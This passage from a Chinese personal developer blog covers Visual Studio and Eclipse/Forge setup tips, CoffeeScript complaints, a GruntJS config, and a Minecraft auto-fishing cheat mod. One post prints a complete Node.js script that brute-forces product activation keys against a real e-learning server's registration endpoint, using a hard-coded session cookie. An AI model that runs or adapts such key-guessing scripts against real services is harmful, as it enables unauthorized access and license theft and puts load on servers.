世界真的好小啊

前一段时间无意在网上发现了星光的博客,一下子找到了萌口组,发现这竟然是黑猫长的站。

最近又在MC的圈子里面发现了一些个人独立博客,追踪着这些友情链接真的发现了许许多多熟悉的身影呢。

突然见我萌生了一个念头:通过外链的分析建立一张独立博客的外链网络的可视化查询网站。

不管怎样,先把自己手头的活先干完啦。开的坑太多了 > _ <

Visual Studio插件推荐:resharper

一直以来不在Visual Studio编程,发现自己很火星的发现这么一个插件:resharper

众所周知,Visual Studio很强大,但是有一些功能跟屎一样:代码提示完全不区分上下文环境(简直就是NOTEPAD++水平);快捷键设计的让人完全体会不到有哪里快捷了。

在无意中发现了这么一款插件用来替换掉Visual Studio跟屎一样的代码提示。人们都说安装了resharper的VS和没安装的VS是两个IDE(不过我并不是微软阵营的开发者)。实际使用了一下,发现确实,这个代码提示很强大。不过他是收费的(在中国国情下……不说了)。如果你不能忍受这种商业软件,我推荐你还是不要使用Visual Studio了吧。免费的版本你能够获得30天的试用。

http://www.jetbrains.com/resharper/

以上是它的官方网站。

新坑预告:Minecraft Mod开发框架

在现在这个时代开发Minecraft Mod已经比起过去轻松多了,但是仍然是一件非常繁琐的事情。你不得不把所有的数据都在代码里面处理,你必须是程序员、是美工、是游戏设计师、是游戏测试人员。所以我准备开发一套更加方便的Minecraft Mod开发框架,提供图形化界面的代码生成、资源文件管理以及实用API的提供。

 

项目的地址(现在这个只是图形化界面的库项目,算是代码模板吧):https://github.com/manageryzy/Minecraft-Forge-Class-Template

 

走过路过的,如果你也热爱Minecraft 请给我的项目星星或者关注啦,当然如果你能够贡献代码,请务必联系我

自定义你的eclipse forge-gradle workspace

如果你使用eclipse来开发你的minecraft mod,你可能会直接使用Minecraft Forge提供的workspace,这样子虽然方便,但是有的时候你就会意识到你正在做一些非常愚蠢的低级的事情:在不同版本的mod之间来回复制代码。就算是你通过版本控制软件(比如git或者subversion)来解决了这个问题,有的时候你还是会发现你没有办法来解决工程之间的依赖,也没办法在一个workspace下面开发多个mod。今天我来粗浅的介绍一下如何在eclipse的一个workspace里面开发并且调试自己定制的forge-gradle的工程。


 

不管怎么样,你在开发之前你必须要拥有你的开发工具了。在你安装eclipse之后很有可能你的eclipse是不支持gradle的,你可能会需要手动安装gradle插件。为了安装的方便我推荐你通过MarketSpace来安装你的插件。如果你的eclipse没有Market请你自行在网络上搜索如何获得MarketSpace。通过MarketSpace你可以轻松的获得Gradle插件。

虽然有了Gradle插件你就可以开始开发了,但是由于这个插件并不是很好用,所以我还是在这里来具体的说一下你该如何操作吧。

  1. 解压你下载回来的minecraft forge src文件
  2. 在命令行或者终端里面执行gradle的初始化反编译环境任务,并且执行eclipse任务。具体的可以参考forge gradle环境搭建教程
  3. 在eclipse 的File菜单里面选择Import,选择已经存在的工程。找到你的解压出的目录并且导入
  4. 导入之后你的工程通常不会有一个友好的名称,推荐你通过F2来调用重命名来给工程起一个容易识别的名字
  5. 推荐你在之后的开发中通过Git来管理你的软件版本,这样也方便你进行多个分支的开发
  6. 在eclipse配置运行选项。为了方便,通常我会配置运行选项为Gradle GUI。不要忘了给你的运行选项起一个容易识别的名字
  7. 启动你的刚刚配置的工程。如果一切顺利的话,你应该可以看到已经列出来的可用命令(不过这一步在我这里通常需要花费一定的时间)。
  8. 推荐你把常用的runClient以及runServer添加到favorite里面
  9. 如果你需要调试,请在你的Gradle启动任务的时候添加上–debug-jvm参数。这个时候还并不是完全的。你还需要去eclipse里面去配置项目的调试的方式。具体做法是:在Debug As里面选择远程Java应用程序,然后设置端口。这时候你应该先在Gradle里面启动任务之后然后通过eclipse来调试程序

以上,就是全部的自定义你的ForgeGradle WorkSpace的流程了

减小Visual Studio的解决方案体积

最近,迫于生计,去使用Visual Studio去开发了一些闭源的项目。是用Visual Studio的时候发现了一个现象就是解决方案目录体积过大(明明早就发现了好么,只是在重新炒冷饭好么)。

其实如果你熟悉eclipse或者idea的话,你可能就对解决方案是什么有一个基本的了解了。Visual Studio的解决方案eclipse的WorkSpace。eclipse为了代码的智能提示会把代码进行分析之后储存在解决方案的目录下面的隐藏目录下,当然了,这个目录下面也有当前WorkSpace的所有配置。

而Visual Studio的做法是:把解决方案的配置放在.suo文件里面,而那些肥大的代码提示放在一个SQL数据库文件里面(喂,这么不智能的提示也能算提示么)。如果你想要干掉这个肥大的文件,一个办法就是通过配置让Visual Studio把这个文件储存在系统临时目录下。具体的做法如下(我假设你使用的是中文版的Visual Studio):

  1. 点击“工具”菜单,选择“选项”
  2. 选择“文本编辑器”-“C/C++“-高级
  3. 设定”始终使用回退位置“为TRUE

在进行上面的操作之后肥大的代码提示文件被出掉了。如果要进一步的缩减解决方案的体积不要忘记在每次Build之后Clean你的解决方案

[原创]Minecraft Mod-AutoFishing

这是一个作弊向的Mod,你只需要在客户端安装就能实现挂机钓鱼。如果你认为这个是不道德的,请不要在服务器使用。MCBBS以及MinecraftForum上有一些钓鱼的挂机Mod,但是主要的两种挂机钓鱼MOD有分别有各自的问题:需要修改Minecraft文件以及不能在1.7.10运行。这个Mod兼容各种各种已知的钓鱼扩展,水产mod等钓鱼扩展也适用。

API需求:FORGE
安装方法:下载合适版本放入MOD文件夹
软件协议:GPLv3

版本记录:
2014.12.10 发布第一版。支持1.7.2以及1.7.10。已知BUG有灵活行动可能有的时候可能造成右键误动作

下载地址:度盘

新标准大学英语验证码暴力破解

今天也是非常不爽……诸事不宜,于是就写了这么一个小的nodejs程序来暴力破解一下新标准大学英语的验证码(我的验证码好久之前被被人偷了(╯‵□′)╯︵┻━┻

什么都不说了,直接放代码。程序没有什么技术含量,只是nodejs的入门吧


var http = require('http');
var chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789';
var myKey;
var str;

var CallBack = function (res) {
    console.log("Got response: " + res.statusCode);
    //console.log('HEADERS: ' + JSON.stringify(res.headers));
    res.setEncoding('utf8');
    res.on('data', function (chunk) {
        str += chunk;
    });
    res.on('end', function () {
        //console.log("BODY:" + str);
        if(str!="")
        {
            process.exit();
        }
    });
}


function onErro(e) {
    console.log("Got error: " + e.message);
}


function loop()
{
    var i = 0;
    myKey = "";
    while(i<25)
    {
        myKey += chars.charAt(Math.floor(Math.random() * 39));
        i++;
    }
    var bound = "------WebKitFormBoundaryZeArSIUsGkdKWdAL\r\n";
    var data = bound + "Content-Disposition: form-data; name=\"whichAction\"\r\n\r\ncheckMyKey\r\n\r\n"
        + bound + "Content-Disposition: form-data; name=\"myKey\"\r\n\r\n" + myKey + "\r\n\r\n"
        + bound + "Content-Disposition: form-data; name=\"targetBookID\"\r\n\r\n40\r\n\r\n" + bound;
    var options = {
        hostname: '121.251.255.73',
        port: 80,
        path: '/login/zhuce/zhuceajax.php',
        method: 'POST',
        headers: {
            'Content-Length': data.length.toString(),
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZeArSIUsGkdKWdAL",
            'Cookie': 'Horizon=dd939bc0226f5394b94667c53d1d6fee',
            'Connection': 'close'
        },
    };
    str = "";
    setTimeout(loop, 50);
    var req = http.request(options, CallBack);

    req.on('error', onErro);
    req.write(data);

    console.log("Code:"+myKey);
    req.end()
}

loop();

 

 

CoffeeScript缺陷

没有任何疑问,CoffeeScript是一门优秀的编程语言,但是不管他再怎么优秀都有一些不尽如人意的地方。这里结合我使用这门语言几天的经验来说一下CoffeeScript的初体验一些缺陷

 


最大的问题:缺乏强有力的IDE

由于CoffeeScript是一门新生的语言,相当多的开发环境还没有完全的支持他。

  • 如果你使用Visual Studio编辑,你不得不建立一个.net网站工程才能在里面编辑CoffeeScript,否则你不能得到代码提示。
  • 如果你使用Notepad++编辑,你不会得到任何编码提示
  • 如果你使用eclipse进行编辑,目前的支持还是很有限的
  • http://fiddlesalad.com/coffeescript/ 这个在线IDE还是感觉很不错的,功能很强大,但是由于它只能在线使用,所以可能无法在没有网络的情况访问,另外它要求一定要联网,对于那些不开源的商业应用也是很大的挑战。

第二大问题:缩进来判断代码结束

可能有人比较喜欢用缩进来结束代码,但是我非常不喜欢,尤其是当代码非常长的时候。当你的IDE不支持智能缩进的时候这更是一件非常辛苦的事情

第三大问题:不完全的OOP特性

CoffeeScript支持OOP无疑是非常方便的,但是很不幸的是这个支持是非常有限的。在这里一个没有办法通过CoffeeScript的成员自动添加定义一个类里面的私有成员,你只能通过一些技巧来实现手动的添加私有成员。在CoffeeScript里面,这里的私有成员只能是私有的,还不能实现保护成员。

所以记住:CoffeeScript只是JavaScript

第四大问题:糟糕的函数参数表设计

在CoffeeScript调用一个有参数函数你可以省略掉参数表的括号,但是这并不意味着你可以省略掉所有的括号:在无参数的时候你必须加上括号。这样的方式可能带来一个团队项目里面编码习惯的混乱。

第五大问题:变量自动声明导致的拼写错误

变量生存周期自动管理缺失不错,但是,这引来了一个问题:你可能因为一些失误错误的拼写了某些变量名,这样,在你的IDE没有办法给你足够的提示的时候,你不得不花费大量的时间去检查这样一个低级的错误


不管怎样,CoffeeScript都是一款优秀的语言,去尝试一下都是很好的,但是如果要实际的应用还是要一些勇气的

 

GruntJS配置实例

GruntJS配置还是比较耗时间的,这里放出一份我在h萌的一个项目的GruntJS的编译配置。这个编译配置参考了网络上的许多地方的配置文件整合的

 
JSON文件如下:

{
  "name": "",
  "version": "0.1.0",
  "dependencies": {
    "grunt": "0.x.x",
    "grunt-autoprefixer": "0.2.x",
    "grunt-contrib-clean": "0.5.x",
    "grunt-contrib-coffee": "0.7.x",
    "grunt-contrib-connect": "0.4.x",
    "grunt-contrib-copy": "0.4.x",
    "grunt-contrib-cssmin": "0.6.x",
    "grunt-contrib-jade": "0.8.x",
    "grunt-contrib-jshint": "0.6.x",
    "grunt-contrib-stylus": "0.8.x",
    "grunt-contrib-uglify": "0.2.x",
    "grunt-contrib-watch": "0.5.x",
	"grunt-html-build":"0.3.x",
	"grunt-contrib-htmlmin":"0.3.x",
	"grunt-cleanempty":"1.0.x"
  },
  "engine": "node >= 0.10"
}

下面是关键的JS

module.exports = function(grunt) {

	// configure the tasks
	grunt.initConfig({

		copy: {
			build: {
				cwd: 'static',
				src: [ '**', '!**/*.styl', '!**/*.coffee', '!**/*.jade' ,'!**.bak','!**.log','!**.html'],
				dest: 'build',
				expand: true
			},
		},
		clean: {
			build: {
				src: [ 'build' ]
			},
			stylesheets: {
				src: [ 'build/**/*.css', '!build/application.css' ]
			},
			scripts: {
				src: [ 'build/**/*.js', '!build/application.js' ]
			},
		},
		stylus: {
			build: {
				options: {
					linenos: true,
					compress: false
				},
				files: [{
					expand: true,
					cwd: 'static',
					src: [ '**/*.styl' ],
					dest: 'build',
					ext: '.css'
				}]
			}
		},
		autoprefixer: {
			build: {
				expand: true,
				cwd: 'build',
				src: [ '**/*.css' ],
				dest: 'build'
			}
		},
		cssmin: {
			build: {
				files: {
					'build/application.css': [ 'build/**/*.css' ]
				}
			}
		},
		coffee: {
			build: {
				expand: true,
				cwd: 'static',
				src: [ '**/*.coffee' ],
				dest: 'build',
				ext: '.js'
			}
		},
		uglify: {
			build: {
				options: {
					mangle: false
				},
				files: {
					'build/application.js': [ 'build/**/*.js' ]
				}
			}
		},
		jade: {
			compile: {
				options: {
					data: {}
				},
				files: [{
					expand: true,
					cwd: 'static',
					src: [ '**/*.jade' ],
					dest: 'build',
					ext: '.html'
				}]
			}
		},
		fixturesPath: "path",
		htmlbuild: {
			dist: {
				src: ['static/*.html'],
				dest: 'build/',
				options: {
					beautify: false,
					prefix: '//some-cdn',
					relative: true,
					scripts: {
					},
					styles: {
					},
					sections: {
					},
					data: {		
					},
				}
			}
		},
		htmlmin: {                                     // Task
			multiple: { 
				options: {                                 // Target options
					removeComments: true,
					collapseWhitespace: true
				},			// Target
				files: [{                                  // Dictionary of files
					expand: true,
					cwd: 'build/',                             // Project root
					src: '**/*.html',                        // Source
					dest: 'build/'                            // Destination
				}]
			}
		},
		cleanempty: {
			options: {
				force: true,
			},
			src: ['build/**/*', 'build/*'],
		},
	});

	// load the tasks
	grunt.loadNpmTasks('grunt-contrib-copy');
	grunt.loadNpmTasks('grunt-contrib-clean');
	grunt.loadNpmTasks('grunt-autoprefixer');
	grunt.loadNpmTasks('grunt-contrib-cssmin');
	grunt.loadNpmTasks('grunt-contrib-coffee');
	grunt.loadNpmTasks('grunt-contrib-uglify');
	grunt.loadNpmTasks('grunt-contrib-jade');
	grunt.loadNpmTasks('grunt-contrib-stylus');
	grunt.loadNpmTasks('grunt-html-build');
	grunt.loadNpmTasks('grunt-contrib-htmlmin');
	grunt.loadNpmTasks('grunt-cleanempty');

	// define the tasks

	grunt.registerTask(
		'stylesheets', 
		'Compiles the stylesheets.', 
		[ 'stylus', 'autoprefixer', 'cssmin', 'clean:stylesheets' ]
	);

	grunt.registerTask(
		'scripts', 
		'Compiles the JavaScript files.', 
		[ 'coffee', 'uglify', 'clean:scripts' ]
	);

	grunt.registerTask(
		'build', 
		'Compiles all of the assets and copies the files to the build directory.', 
		[ 'clean:build', 'copy', 'stylesheets', 'scripts', 'jade','htmlbuild' ,'htmlmin','cleanempty']
	);

	grunt.registerTask(
		'default', 
		'', 
		[ 'build']
	);

};

使用GruntJS优化你的网站

其实,一开始让我接触GruntJS我也是拒绝的,但是由于想要编译ABPlayerHtml5所以我不得不接触了一下GruntJS,结果发现——根本停不下来。GruntJS简直太好用了。

GruntJS是一个知名(为什么我以前没听说过……)的JavaScript构建工具,它就像“JavaScript世界的编译器”。它能够通过各种编译模块完成CoffeeScript、JadeScript的编译,JavaScript的合并以及压缩,CSS的合并以及压缩以及其他等许许多多的任务。

使用GruntJS进行构建的最大的好处就是能极大地减少你的网站请求次数,对于那些分散的JavaScript以及CSS你完全可以合并成一个文件并且以静态文件的方式放在内容分发网络(CDN)上。当然了,由于JS编译的过程局部变量是经过混淆的,所以文件的体积能进一步的减小。由于GruntJS是基于NodeJS的,所以你很容易就能在服务器上完成脚本的动态编译,如果你的服务器是基于NodeJS的话,你就可以轻松地写出一个能压缩Script以及CSS的静态缓存系统。

更多的可以参见GruntJS中文网:http://www.gruntjs.net/